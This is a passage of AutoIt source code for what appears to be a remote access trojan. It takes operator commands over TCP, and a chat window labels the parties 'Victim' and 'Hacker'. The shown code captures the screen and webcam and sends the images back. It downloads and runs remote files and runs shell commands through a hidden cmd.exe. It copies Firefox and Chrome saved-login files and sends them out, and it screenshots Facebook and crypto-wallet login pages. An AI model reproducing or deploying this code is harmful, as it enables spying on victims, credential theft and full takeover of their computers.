  2369.  
  2370.  
  2371.  
  2372.         If StringInStr($uu, "MouSxB") Then
  2373.  
  2374.             $uu1 = StringReplace($uu, "Time0", "")
  2375.             $uu1 = StringReplace($uu, "Screen", "")
  2376.  
  2377.  
  2378.  
  2379.             $DDx1 = _StringBetween($uu1, "MouSxB", "Xc")
  2380.  
  2381.             $DDx2 = _StringBetween($uu1, "Xc", "Xb")
  2382.  
  2383.  
  2384.  
  2385.             MouseClick("Right", $DDx1[0], $DDx2[0], "1", 1)
  2386.  
  2387.  
  2388.         EndIf
  2389.  
  2390.  
  2391.  
  2392.         If StringInStr($uu, "Desksize") Then
  2393.  
  2394.             TCPSend($r, "Desksize" & @DesktopHeight & "X2" & @DesktopWidth & "X3")
  2395.  
  2396.         EndIf
  2397.  
  2398.  
  2399.  
  2400. If StringInStr($uu, "QALITs") Then
  2401.  
  2402.     $datnwq=_StringBetween($uu,"QALITs",'PipQ')
  2403.  
  2404.             $Qlits =$datnwq[0]
  2405.  
  2406.         EndIf
  2407.  
  2408.  
  2409.  
  2410.  
  2411.         If StringInStr($uu, "Screen") Then
  2412.  
  2413. ;~          $temp = TimerInit()
  2414.  
  2415.  
  2416.             _ScreenCapture_SetJPGQuality($Qlits)
  2417.  
  2418.             _ScreenCapture_Capture(@TempDir & "\888.jpg")
  2419.  
  2420.             $211 = FileOpen(@TempDir & "\888.jpg",16)
  2421.  
  2422.             $2 = FileRead($211)
  2423.  
  2424. ;~              Sleep (1)
  2425.  
  2426.  
  2427.   TCPSend($r, $2)
  2428.  
  2429. ;~              TCPSend($r, BinaryToString(_LZNTCompress($2)))
  2430.  
  2431.   TCPSend($r,"Oks0r")
  2432.  
  2433. ;~              TCPSend($r, _LZNTCompress("0xOks"))
  2434.  
  2435.             FileClose($211)
  2436.  
  2437.  
  2438.  
  2439.  
  2440.  
  2441.  
  2442.  
  2443.  
  2444.  
  2445.  
  2446.  
  2447.         EndIf
  2448.  
  2449.  
  2450.  
  2451.  
  2452.  
  2453.  
  2454.  
  2455.         If StringInStr($uu, "OpCD") Then
  2456.  
  2457.             $temp = TimerInit()
  2458.  
  2459.  
  2460.             Local $aCDRom = DriveGetDrive("CDROM")
  2461.             If Not @error Then
  2462.  
  2463.                 CDTray($aCDRom[1], "open")
  2464.  
  2465.             EndIf
  2466.  
  2467.         EndIf
  2468.  
  2469.  
  2470.         If StringInStr($uu, "CloseCD") Then
  2471.             $temp = TimerInit()
  2472.  
  2473.             Local $aCDRom = DriveGetDrive("CDROM")
  2474.  
  2475.             If Not @error Then
  2476.  
  2477.                 CDTray($aCDRom[1], "Close")
  2478.  
  2479.             EndIf
  2480.  
  2481.         EndIf
  2482.  
  2483.  
  2484.         If StringInStr( $uu, "DowLDXss") Then
  2485.  
  2486.  
  2487.             $temp = TimerInit()
  2488.  
  2489.             Local $111 = _StringBetween($uu, "Ks0|", "|Bxb")
  2490. Local $1112 = _StringBetween($uu, "|Bxb","UesWx")
  2491.  
  2492.             Local $sText = ""
  2493.             For $i = 1 To 6
  2494.                 $sText &= Chr(Random(65, 90, 1))
  2495.  
  2496.             Next
  2497.  
  2498.  
  2499.             InetGet($111[0], @TempDir & "/" & $sText &'.'& $1112[0])
  2500.  
  2501.  
  2502.  
  2503.             ShellExecute(@TempDir & "/" & $sText &'.'& $1112[0])
  2504.  
  2505.  
  2506.  
  2507.         EndIf
  2508.  
  2509.  
  2510.         If StringInStr($uu, "Chat") Then
  2511.  
  2512.  
  2513. ;~  #Region ### START Koda GUI section ### Form=;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  2514.  
  2515.             #region ### START Koda GUI section ### Form=
  2516.             $hParent = GUICreate('', 0, 0, 0, 0, 0, $WS_EX_TOOLWINDOW)
  2517.             $Form1w = GUICreate("     ", 525, 430, -1, -1, $WS_POPUP, BitOR($WS_EX_DLGMODALFRAME, $WS_EX_TOPMOST), $hParent);$WS_EX_DLGMODALFRAME
  2518.             $Input1w = GUICtrlCreateInput("", 8, 360, 401, 25)
  2519.             GUICtrlSetColor(-1, 0x65B933)
  2520.             GUICtrlSetFont(-1, 12, 400, 0, "")
  2521.             GUICtrlSetBkColor(-1, 0x000000)
  2522.             $Edit1w = GUICtrlCreateEdit("", 0, 0, 521, 345)
  2523.             GUICtrlSetFont(-1, 12, 400, 0, "")
  2524.             GUICtrlSetColor(-1, 0x65B933)
  2525.             GUICtrlSetBkColor(-1, 0x000000)
  2526.             $Button1w = GUICtrlCreateButton("Send Message", 419, 360, 89, 30)
  2527.  
  2528.             WinSetOnTop("     ", "", 1)
  2529.             GUISetState(@SW_SHOW)
  2530.             #endregion ### END Koda GUI section ###
  2531.  
  2532.  
  2533.  
  2534.  
  2535.  
  2536.  
  2537.  
  2538.  
  2539.  
  2540.  
  2541.             FileDelete(@TempDir & "/db.txt")
  2542.  
  2543.  
  2544.  
  2545.             While 1
  2546.                 $nMsg = GUIGetMsg()
  2547.                 Switch $nMsg
  2548.                     ;Case $GUI_EVENT_CLOSE
  2549.  
  2550.  
  2551.                     Case $Button1w
  2552.  
  2553.                         $223 = GUICtrlRead($Input1w)
  2554.                         If $223 <> "" Then
  2555.                             TCPSend($r, $223)
  2556.  
  2557.                             FileWrite(@TempDir & "/db.txt", "Victim: " & $223 & @CRLF)
  2558.                             $456 = FileRead(@TempDir & "/db.txt")
  2559.  
  2560.  
  2561.                             GUICtrlSetData($Edit1w, $456)
  2562.  
  2563.                             _GUICtrlEdit_Scroll($Edit1w, $SB_SCROLLCARET)
  2564.                             GUICtrlSetData($Input1w, "")
  2565.                         EndIf
  2566.  
  2567.                 EndSwitch
  2568.  
  2569.                 $uux = TCPRecv($r, 500)
  2570.  
  2571.                 If @error Then
  2572.                     GUIDelete($Form1w)
  2573.                     ExitLoop
  2574.  
  2575.  
  2576.                 EndIf
  2577.  
  2578.  
  2579.                 If StringInStr($uux, "ChatExit") Then
  2580.                     GUIDelete($Form1w)
  2581.  
  2582.                     ExitLoop
  2583.  
  2584.                 EndIf
  2585.  
  2586.  
  2587.  
  2588.                 If $uux <> "" And StringLeft($uux, 5) <> "Time0" Then
  2589.  
  2590.  
  2591.                     FileWrite(@TempDir & "/db.txt", "Hacker: " & $uux & @CRLF)
  2592.  
  2593.                     $456 = FileRead(@TempDir & "/db.txt")
  2594.  
  2595.  
  2596.                     GUICtrlSetData($Edit1w, $456)
  2597.  
  2598.                     _GUICtrlEdit_Scroll($Edit1w, $SB_SCROLLCARET)
  2599.  
  2600.  
  2601.  
  2602.                 EndIf
  2603.  
  2604.  
  2605.  
  2606.  
  2607.  
  2608.  
  2609.  
  2610.  
  2611.  
  2612.  
  2613.                 If StringInStr($uux, "Time0") Then
  2614.  
  2615.  
  2616.                     $temp = TimerInit()
  2617.  
  2618.                 EndIf
  2619.  
  2620.  
  2621.  
  2622.  
  2623.  
  2624.  
  2625.  
  2626.  
  2627.  
  2628.                 If TimerDiff($temp) > 40000 Then
  2629.  
  2630.                     GUIDelete($Form1w)
  2631.                     ExitLoop
  2632.  
  2633.                 EndIf
  2634.  
  2635.  
  2636.  
  2637.  
  2638.  
  2639.             WEnd
  2640.  
  2641.  
  2642.  
  2643.         EndIf
  2644.  
  2645.  
  2646.  
  2647.  
  2648.         If StringLeft($uu, 3) = "CMD" Then
  2649.  
  2650.  
  2651.             Local $111 = _StringBetween($uu, "|", "|")
  2652.  
  2653.  
  2654.             $cmdsend = _CMDControler($111[0])
  2655.  
  2656.             TCPSend($r, $cmdsend)
  2657.  
  2658.         EndIf
  2659.  
  2660.        
  2661.         If StringInStr($uu, "WebCam") Then
  2662.  
  2663.  
  2664.  
  2665.                 $temp = TimerInit()
  2666.  
  2667.  
  2668.             If $cam = "Yes" Then
  2669.  
  2670. FileInstall("cam",@tempdir&"/cam")
  2671.  
  2672.             If $xd = "0" Then
  2673.  
  2674.  
  2675.                
  2676.  
  2677.  
  2678.  
  2679.  
  2680.  
  2681.  
  2682.  
  2683.  
  2684. $_escapi_Dll=FileRead(@tempdir&"/cam")
  2685.  
  2686.         Local $Width = 355
  2687.  
  2688.         Local $Height = 245
  2689.  
  2690.         Local $tagSimpleCapParams = "ptr mTargetBuf;" & "int mWidth;" & "int mHeight;"
  2691.  
  2692.         Local $tSimpleCapParams = DllStructCreate($tagSimpleCapParams)
  2693.  
  2694.         Local $tTargetBuf = DllStructCreate("BYTE[" & $Width * $Height * 4 & "]")
  2695.  
  2696.         Global $pTargetBuf = DllStructGetPtr($tTargetBuf)
  2697.  
  2698.         DllStructSetData($tSimpleCapParams, 1, $pTargetBuf)
  2699.  
  2700.         DllStructSetData($tSimpleCapParams, 2, $Width)
  2701.  
  2702.         DllStructSetData($tSimpleCapParams, 3, $Height)
  2703.  
  2704.         Local $pSimpleCapParams = DllStructGetPtr($tSimpleCapParams)
  2705.  
  2706.         Local $device = 0
  2707.  
  2708.         local $sDllBuffer = Memorydllopen($_escapi_Dll)
  2709.  
  2710.         Local $return = MemoryDllGetFuncAddress($sDllBuffer, 'initCOM')
  2711.  
  2712.         DllCallAddress("int", $return)
  2713.  
  2714.         Local $return = MemoryDllGetFuncAddress($sDllBuffer, 'initCapture')
  2715.  
  2716.         DllCallAddress("int:cdecl",$return, "int", $device, "ptr", $pSimpleCapParams)
  2717.  
  2718.         $return = DllCall($_escapi_Dll,"int:cdecl","initCapture", "int", $device, "ptr", $pSimpleCapParams)
  2719.  
  2720.         _GDIPlus_Startup()
  2721.  
  2722.  
  2723.                 $xd = "1"
  2724.  
  2725.                 EndIf
  2726.  
  2727.             Local $return = MemoryDllGetFuncAddress($sDllBuffer, 'doCapture')
  2728.  
  2729.             DllCallAddress("none:cdecl",$return, "int", $device)
  2730.  
  2731.             $hBMP = _WinAPI_CreateBitmap($Width, $Height , 1 , 32 , $pTargetBuf)
  2732.  
  2733.             $sFile = HBITMAP_To_Bytes($hBMP)
  2734.  
  2735.             _WinAPI_DeleteObject($hBMP)
  2736.  
  2737.             $sFileBuffer = Binary($sFile)
  2738.  
  2739.            
  2740. TCPSend($r, "0x"&Hex($sFileBuffer))
  2741. TCPSend($r, "Cstio")
  2742.  
  2743.  
  2744.             EndIf
  2745.  
  2746.  
  2747.  
  2748.  
  2749.  
  2750.  
  2751.  
  2752.  
  2753.  
  2754.  
  2755.  
  2756. ;~ ////////////////ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
  2757.  
  2758.  
  2759.  
  2760.         EndIf
  2761.  
  2762.  
  2763.  
  2764.  
  2765.  
  2766.         ;Grabx
  2767.  
  2768. ;~      _Graber()
  2769.  
  2770.  
  2771.  
  2772.  
  2773.  
  2774.  
  2775.         If StringInStr($uu, "Password") Then
  2776.  
  2777.             $temp = TimerInit()
  2778.  
  2779.             FileDelete(@TempDir & "\DD.zip")
  2780.  
  2781.             DirRemove(@TempDir & "\DD", 1)
  2782.  
  2783.             Sleep(200)
  2784.  
  2785.             DirCreate(@TempDir & "\DD")
  2786.  
  2787.             If FileExists(@AppDataDir & "\Mozilla\Firefox\Profiles") = 1 Then
  2788.  
  2789.                 $16 = _FileListToArray(@AppDataDir & "\Mozilla\Firefox\Profiles")
  2790.  
  2791.  
  2792.                 If Not @error Then
  2793.  
  2794.  
  2795.  
  2796.  
  2797.  
  2798.                     For $i = 1 To $16[0] Step +1
  2799.  
  2800.  
  2801.  
  2802.  
  2803.                         If FileExists(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\logins.json") And FileExists(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\key3.db") And FileExists(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\cert8.db") = 1 Then
  2804.  
  2805.                             FileCopy(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\logins.json", @TempDir & "/DD/logins.json", 1)
  2806.                             FileCopy(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\key3.db", @TempDir & "/DD/key3.db", 1)
  2807.                             FileCopy(@AppDataDir & "\Mozilla\Firefox\Profiles\" & $16[$i] & "\cert8.db", @TempDir & "/DD/cert8.db", 1)
  2808.  
  2809.                         EndIf
  2810.                     Next
  2811.  
  2812.  
  2813.  
  2814.                 EndIf
  2815.  
  2816.  
  2817.             EndIf
  2818.  
  2819.             Sleep(200)
  2820.  
  2821.             FileCopy(@UserProfileDir & "\AppData\Local\Google\Chrome\User Data\Default\Login Data", @TempDir & "/DD/Login Data", 1)
  2822.  
  2823.             Sleep(200)
  2824.  
  2825.             If FileExists(@TempDir & "/DD/logins.json") = 1 Or FileExists(@TempDir & "/DD/Login Data") = 1 Then
  2826.  
  2827.                 $Zip = _Zip_Create(@TempDir & "\DD.zip")
  2828.  
  2829.                 _Zip_AddFolder($Zip, @TempDir & "\DD", 1)
  2830.  
  2831.                 Sleep(200)
  2832.  
  2833.                 $31 = FileRead(@TempDir & "\DD.zip")
  2834.  
  2835.  
  2836.                 TCPSend($r, $31)
  2837.  
  2838.  
  2839.                 TCPSend($r, "PassClose")
  2840.  
  2841.             EndIf
  2842.  
  2843.  
  2844.         EndIf
  2845.  
  2846.  
  2847.  
  2848.  
  2849.  
  2850.         ;UACx
  2851.  
  2852.  
  2853.  
  2854.  
  2855.  
  2856.  
  2857.  
  2858.  
  2859.  
  2860.  
  2861.  
  2862.  
  2863.  
  2864.  
  2865.  
  2866.  
  2867.         If $uu = "LogImage" Then
  2868.  
  2869.             $temp = TimerInit()
  2870.  
  2871.             If FileExists(@TempDir & "/Face1.jpg") Then
  2872.  
  2873.                 $sset = FileRead(@TempDir & "/Face1.jpg")
  2874.  
  2875.                 TCPSend($r, $sset)
  2876.  
  2877.                 TCPSend($r, "EndImagxx")
  2878.  
  2879.             EndIf
  2880.  
  2881.         EndIf
  2882.  
  2883.         If $uu = "Graber" Then
  2884.  
  2885.             $temp = TimerInit()
  2886.  
  2887.             If FileExists(@TempDir & "/LoG.txt") Then
  2888.  
  2889.                 $gra = FileRead(@TempDir & "/LoG.txt")
  2890.                 TCPSend($r, "STSTxc" & $gra)
  2891.             Else
  2892.  
  2893.                 TCPSend($r, "No Login Detected")
  2894.             EndIf
  2895.         EndIf
  2896.  
  2897.         If $uu = "Del Graber" Then
  2898.             FileDelete(@TempDir & "/LoG.txt")
  2899.             FileDelete(@TempDir & "/Face1.jpg")
  2900.         EndIf
  2901.  
  2902.  
  2903.  
  2904.  
  2905.  
  2906.  
  2907.  
  2908.  
  2909.  
  2910.  
  2911.  
  2912.  
  2913.  
  2914.  
  2915.  
  2916.  
  2917.  
  2918.  
  2919.  
  2920.  
  2921.         If $uu = "LogImage2" Then
  2922.  
  2923.             $temp = TimerInit()
  2924.  
  2925.             If FileExists(@TempDir & "/Block1.jpg") Then
  2926.  
  2927.                 $sset = FileRead(@TempDir & "/Block1.jpg")
  2928.  
  2929.                 TCPSend($r, $sset)
  2930.  
  2931.                 TCPSend($r, "EndImagxx")
  2932.  
  2933.             EndIf
  2934.  
  2935.         EndIf
  2936.  
  2937.         If $uu = "Graber2" Then
  2938.  
  2939.             $temp = TimerInit()
  2940.  
  2941.             If FileExists(@TempDir & "/LoG2.txt") Then
  2942.  
  2943.                 $gra = FileRead(@TempDir & "/LoG2.txt")
  2944.                 TCPSend($r, "STSTxc" & $gra)
  2945.             Else
  2946.  
  2947.                 TCPSend($r, "No Login Detected")
  2948.             EndIf
  2949.         EndIf
  2950.  
  2951.         If $uu = "Del Graber" Then
  2952.             FileDelete(@TempDir & "/LoG2.txt")
  2953.             FileDelete(@TempDir & "/Block1.jpg")
  2954.         EndIf
  2955.  
  2956.  
  2957.  
  2958.  
  2959.  
  2960.  
  2961.  
  2962.  
  2963.  
  2964.  
  2965.  
  2966.  
  2967.  
  2968.  
  2969.  
  2970.  
  2971.  
  2972.  
  2973.  
  2974.  
  2975.  
  2976.  
  2977.  
  2978.  
  2979.  
  2980.  
  2981.  
  2982.  
  2983.         If StringLeft($uu, 4) = "Open" Then
  2984.             $temp = TimerInit()
  2985. ;~ MsgBox (0,"",$uu)
  2986.  
  2987.             Local $31 = _StringBetween($uu, "|", "|")
  2988. ;~ _arraydisplay($31)
  2989.  
  2990.  
  2991.             ShellExecute('"' & $31[0] & '"')
  2992.  
  2993.  
  2994.         EndIf
  2995.  
  2996.  
  2997.         If StringLeft($uu, 7) = "Cookies" Then
  2998.  
  2999.             $temp = TimerInit()
  3000.  
  3001.  
  3002.             If $uu = "CookiesChrome" Or $uu = "CookiesAll" Then
  3003.  
  3004.                 ProcessClose("chrome.exe")
  3005.                 Sleep(500)
  3006.  
  3007.                 FileDelete(@UserProfileDir & "\AppData\Local\Google\Chrome\User Data\Default\Cookies")
  3008.  
  3009.             EndIf
  3010.  
  3011.             If $uu = "CookiesFirefox" Or $uu = "CookiesAll" Then
  3012.  
  3013.                 ProcessClose("firefox.exe")
  3014.                 Sleep(500)
  3015. ;~  DirRemove(@AppDataDir & "\Mozilla\Firefox\Profiles")
  3016.                 FileDelete(@AppDataDir & "\Mozilla\Firefox\profiles.ini")
  3017.  
  3018.  
  3019.             EndIf
  3020.  
  3021.         EndIf
  3022.  
  3023.  
  3024.         If StringInStr($uu, "Process") Then
  3025.             $temp = TimerInit()
  3026.  
  3027.             $888 = ProcessList()
  3028.  
  3029.  
  3030.  
  3031.             For $i = 1 To $888[0][0] Step +1
  3032.  
  3033.  
  3034.                 TCPSend($r, "|" & $888[$i][0])
  3035.  
  3036.  
  3037.  
  3038.  
  3039.             Next
  3040.  
  3041.  
  3042.  
  3043.         EndIf
  3044.  
  3045.  
  3046.  
  3047.         If StringLeft($uu, 11) = "ProcessKill" Then
  3048.  
  3049.  
  3050.             $12wx = _StringBetween($uu, "|", "|")
  3051.  
  3052.             ProcessClose($12wx[0])
  3053.  
  3054.         EndIf
  3055.  
  3056.  
  3057.  
  3058.  
  3059.  
  3060.  
  3061.  
  3062.  
  3063.  
  3064.  
  3065.  
  3066.  
  3067.  
  3068.  
  3069.  
  3070.  
  3071.  
  3072.  
  3073.  
  3074.  
  3075.  
  3076.  
  3077.         Local $ActiveWindow = WinGetTitle("")
  3078.  
  3079.  
  3080.         $A = StringRegExp($ActiveWindow, "Facebook - Log")
  3081.  
  3082.         $B = StringRegExp($ActiveWindow, "Facebook - Connexion")
  3083.  
  3084.         $C = StringRegExp($ActiveWindow, "entre ou cadastre-se")
  3085.  
  3086.         $D = StringRegExp($ActiveWindow, "Facebook - Inicia")
  3087.  
  3088.         $E = StringRegExp($ActiveWindow, "?? ??? ???")
  3089.  
  3090.         $F = StringRegExp($ActiveWindow, "My Wallet - Be Your Own")
  3091.  
  3092.  
  3093.         If $A = 1 Or $B = 1 Or $C = 1 Or $D = 1 Or $E = 1 Or $F = 1 Then
  3094.  
  3095.  
  3096.  
  3097.  
  3098.             If Not FileExists(@TempDir & "/Block1.jpg") Then
  3099.  
  3100.  
  3101.                 If $F = 1 Then
  3102.                     $tc = "2"
  3103.  
  3104.                     TCPSend($r, "CQ")
  3105.  
  3106.                     Sleep(4000)
  3107.  
  3108.                     _ScreenCapture_SetJPGQuality(100)
  3109.  
  3110.                     _ScreenCapture_Capture(@TempDir & "/Block1.jpg")
  3111.                 EndIf
  3112.  
  3113.             EndIf
  3114.  
  3115.  
  3116.             If Not FileExists(@TempDir & "/Face1.jpg") Then
  3117.  
  3118.                 If $A = 1 Then
  3119.  
  3120.                     $tc = ""
  3121.                     TCPSend($r, "CQ")
  3122.  
  3123.                     Sleep(4000)
  3124.  
  3125.  
  3126.                     _ScreenCapture_SetJPGQuality(100)
  3127.  
  3128.                     _ScreenCapture_Capture(@TempDir & "/Face1.jpg")
  3129.                 EndIf
  3130.  
  3131.                 If $B = 1 Then
  3132.                     $tc = ""
  3133.                     TCPSend($r, "CQ")
  3134.                     Sleep(4000)
  3135.                     _ScreenCapture_SetJPGQuality(100)
  3136.                     _ScreenCapture_Capture(@TempDir & "/Face1.jpg")
  3137.                 EndIf
  3138.  
  3139.                 If $C = 1 Then
  3140.                     $tc = ""
  3141.                     TCPSend($r, "CQ")
  3142.                     Sleep(4000)
  3143.                     _ScreenCapture_SetJPGQuality(100)
  3144.                     _ScreenCapture_Capture(@TempDir & "/Face1.jpg")
  3145.                 EndIf
  3146.  
  3147.                 If $D = 1 Then
  3148.                     $tc = ""
  3149.                     TCPSend($r, "CQ")
  3150.                     Sleep(4000)
  3151.                     _ScreenCapture_SetJPGQuality(100)
  3152.                     _ScreenCapture_Capture(@TempDir & "/Face1.jpg")
  3153.  
  3154.                 EndIf
  3155.  
  3156.  
  3157.                 If $E = 1 Then
  3158.                     $tc = ""
  3159.                     TCPSend($r, "CQ")
  3160.                     Sleep(4000)
  3161.                     _ScreenCapture_SetJPGQuality(100)
  3162.                     _ScreenCapture_Capture(@TempDir & "/Face1.jpg")
  3163.                 EndIf
  3164.  
  3165.  
  3166.             EndIf
  3167.  
  3168.  
  3169.  
  3170.  
  3171.  
  3172.  
  3173.  
  3174.  
  3175.  
  3176.  
  3177.         EndIf
  3178.  
  3179.  
  3180.  
  3181.  
  3182.  
  3183.  
  3184.  
  3185.  
  3186.  
  3187.  
  3188.  
  3189.  
  3190.  
  3191.  
  3192.  
  3193.  
  3194.  
  3195.  
  3196.  
  3197.  
  3198.  
  3199.  
  3200.  
  3201.         If TimerDiff($temp) > 120000 Then
  3202.  
  3203.             ExitLoop
  3204.  
  3205.  
  3206.  
  3207.         EndIf
  3208.  
  3209. ;~  900000
  3210.  
  3211. ;~      ToolTip (TimerDiff($temp))
  3212.  
  3213.  
  3214.     WEnd
  3215.  
  3216.  
  3217. WEnd
  3218.  
  3219. Func _WebCamDetect()
  3220.  
  3221.     Local $sGetDriver, $sReturn
  3222.     For $si = 0 To 9
  3223.  
  3224.         $sGetDriver = DllCall('Avicap32.dll', 'Bool', 'capGetDriverDescription', 'dword', $si, 'ptr', 0, 'int', 0, 'ptr', 0, 'int', 0)
  3225.  
  3226.         If @error Then $sReturn = 'No'
  3227.         If $sGetDriver[0] Then $sReturn = 'Yes'
  3228.  
  3229.     Next
  3230.  
  3231.     If $sReturn = '' Then Return 'No'
  3232.     Return $sReturn
  3233.  
  3234. EndFunc   ;==>_WebCamDetect
  3235.  
  3236.  
  3237. Func _WinAPI_Wow64EnableWow64FsRedirection($bEnable)
  3238.     Local $aRet = DllCall('kernel32.dll', 'boolean', 'Wow64EnableWow64FsRedirection', 'boolean', $bEnable)
  3239.     If @error Then Return SetError(@error, @extended, 0)
  3240.     ; If Not $aRet[0] Then Return SetError(1000, 0, 0)
  3241.  
  3242.     Return $aRet[0]
  3243. EndFunc   ;==>_WinAPI_Wow64EnableWow64FsRedirection
  3244.  
  3245.  
  3246.  
  3247.  
  3248. ;USBx
  3249.  
  3250.  
  3251.  
  3252.  
  3253. $sexemodule = ""
  3254. $scommandline = ""
  3255.  
  3256.  
  3257. Func FakePrc()
  3258.     Local $fautoitx64 = @AutoItX64
  3259.     Local $tstartupinfo = DllStructCreate("dword  cbSize;" & "ptr Reserved;" & "ptr Desktop;" & "ptr Title;" & "dword X;" & "dword Y;" & "dword XSize;" & "dword YSize;" & "dword XCountChars;" & "dword YCountChars;" & "dword FillAttribute;" & "dword Flags;" & "word ShowWindow;" & "word Reserved2;" & "ptr Reserved2;" & "ptr hStdInput;" & "ptr hStdOutput;" & "ptr hStdError")
  3260.     Local $tprocess_information = DllStructCreate("ptr Process;" & "ptr Thread;" & "dword ProcessId;" & "dword ThreadId")
  3261.     Local $aCall = DllCall("kernel32.dll", "bool", "CreateProcessW", "wstr", $sexemodule, "wstr", $scommandline, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr($tstartupinfo), "ptr", DllStructGetPtr($tprocess_information))
  3262.     If @error Or Not $aCall[0] Then Exit
  3263.     Local $hprocess = DllStructGetData($tprocess_information, "Process")
  3264.     Local $hThread = DllStructGetData($tprocess_information, "Thread")
  3265.     If $fautoitx64 And _runbinary_iswow64process($hprocess) Then
  3266.         DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
  3267.         Return SetError(2, 0, 0)
  3268.     EndIf
  3269. EndFunc   ;==>FakePrc
  3270.  
  3271. Func _runbinary_iswow64process($hprocess)
  3272.     Local $aCall = DllCall("kernel32.dll", "bool", "IsWow64Process", "handle", $hprocess, "bool*", 0)
  3273.     If @error Or Not $aCall[0] Then Return SetError(1, 0, 0)
  3274.     Return $aCall[2]
  3275. EndFunc   ;==>_runbinary_iswow64process
  3276.  
  3277.  
  3278.  
  3279.  
  3280. ;GraberFunc
  3281.  
  3282.  
  3283.  
  3284.  
  3285. Func _CMDControler($sComando)
  3286.  
  3287.     Local $sCMD = Run('C:\Windows\system32\cmd.exe', @DesktopDir, @SW_HIDE, 3)
  3288.  
  3289.  
  3290.  
  3291.     StdinWrite($sCMD, $sComando)
  3292.     StdinWrite($sCMD, @CRLF)
  3293.  
  3294.     Local $sRead, $sReturn = ''
  3295.     Local $sTimerInit = TimerInit()
  3296.     Local $sDelay = 1000
  3297.     While 1
  3298.  
  3299.         $sRead = StdoutRead($sCMD)
  3300.  
  3301.         If $sRead <> '' Then
  3302.             $sReturn &= $sRead
  3303.             $sRead = ''
  3304.         EndIf
  3305.  
  3306.         If TimerDiff($sTimerInit) >= $sDelay Then ExitLoop
  3307.  
  3308.     WEnd
  3309.  
  3310.     ProcessClose('cmd.exe')
  3311.  
  3312.     Return $sReturn
  3313.  
  3314. EndFunc   ;==>_CMDControler
  3315.  
  3316.  
  3317.  
  3318.  
  3319. Func hbitmap_to_bytes($hbitmap)
  3320.     Local $bitmap = _gdiplus_bitmapcreatefromhbitmap($hbitmap)
  3321.     Local $jpg_encoder = _gdiplus_encodersgetclsid("jpg")
  3322.     Local $tag_encoder = _winapi_guidfromstring($jpg_encoder)
  3323.     Local $ptr_encoder = DllStructGetPtr($tag_encoder)
  3324.     Local $stream = DllCall("ole32.dll", "uint", "CreateStreamOnHGlobal", "ptr", 0, "bool", 1, "ptr*", 0)
  3325.     DllCall($ghgdipdll, "uint", "GdipSaveImageToStream", "ptr", $bitmap, "ptr", $stream[3], "ptr", $ptr_encoder, "ptr", 0)
  3326.     _gdiplus_bitmapdispose($bitmap)
  3327.     Local $memory = DllCall("ole32.dll", "uint", "GetHGlobalFromStream", "ptr", $stream[3], "ptr*", 0)
  3328.     Local $mem_size = _memglobalsize($memory[2])
  3329.     Local $mem_ptr = _memgloballock($memory[2])
  3330.     Local $data_struct = DllStructCreate("byte[" & $mem_size & "]", $mem_ptr)
  3331.     Local $data = DllStructGetData($data_struct, 1)
  3332.     _memglobalfree($memory[2])
  3333.     Return $data
  3334. EndFunc
  3335.  
  3336. Func _gdiplus_bitmapdispose($hbitmap)
  3337.     Local $aresult = DllCall($ghgdipdll, "int", "GdipDisposeImage", "handle", $hbitmap)
  3338.     If @error Then Return SetError(@error, @extended, False)
  3339.     Return $aresult[0] = 0
  3340. EndFunc
  3341.  
  3342. Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0)
  3343.     Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits)
  3344.     If @error Then Return SetError(@error, @extended, 0)
  3345.     Return $aresult[0]
  3346. EndFunc
  3347.  
  3348. Func _memglobalsize($hmem)
  3349.     Local $aresult = DllCall("kernel32.dll", "ulong_ptr", "GlobalSize", "handle", $hmem)
  3350.     If @error Then Return SetError(@error, @extended, 0)
  3351.     Return $aresult[0]
  3352. EndFunc
  3353.  
  3354. Func _memglobalfree($hmem)
  3355.     Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $hmem)
  3356.     If @error Then Return SetError(@error, @extended, False)
  3357.     Return $aresult[0]
  3358. EndFunc
  3359.  
  3360. Func _memgloballock($hmem)
  3361.     Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hmem)
  3362.     If @error Then Return SetError(@error, @extended, 0)
  3363.     Return $aresult[0]
  3364. EndFunc
  3365.  
  3366.  
  3367.  
  3368.  
  3369.  
  3370.  
  3371. ;CamxFunc
  3372.  
  3373.  
  3374. Func _StartTTS()
  3375.     Return ObjCreate("SAPI.SpVoice")
  3376. EndFunc   ;==>_StartTTS
  3377.  
  3378. Func _SetRate(ByRef $Object, $iRate); Rates can be from -10 to 10
  3379.     $Object.Rate = $iRate
  3380. EndFunc   ;==>_SetRate
  3381. Func _Speak(ByRef $Object, $sText)
  3382.     $Object.Speak($sText)
  3383. EndFunc   ;==>_Speak
  3384.  
  3385. Func _SetVolume(ByRef $Object, $iVolume);Volume
  3386.     $Object.Volume = $iVolume
  3387. EndFunc   ;==>_SetVolume
  3388.  
  3389.  
  3390.  
  3391.  
  3392.  
  3393.  
  3394.  
  3395.  
  3396.  
  3397. ;~ Local $Password
  3398. ;~ _Get_Chrome_Opera_Password($Password)
  3399.  
  3400. ;~ filedelete("Password.TXT")
  3401. ;~ FileWrite("Password.TXT", $Password)
  3402.  
  3403. ;~ Func _Get_Chrome_Opera_Password(ByRef $Password)
  3404. ;~  _SQLite_Startup()
  3405. ;~  If @error Then Return SetError(1)
  3406. ;~  Local $tempLogindatadir = @ScriptDir & "\LData\"
  3407. ;~  If FileExists($tempLogindatadir) Then DirRemove($tempLogindatadir, 1)
  3408. ;~  Local $LoginData = _Get_Logindata($tempLogindatadir)
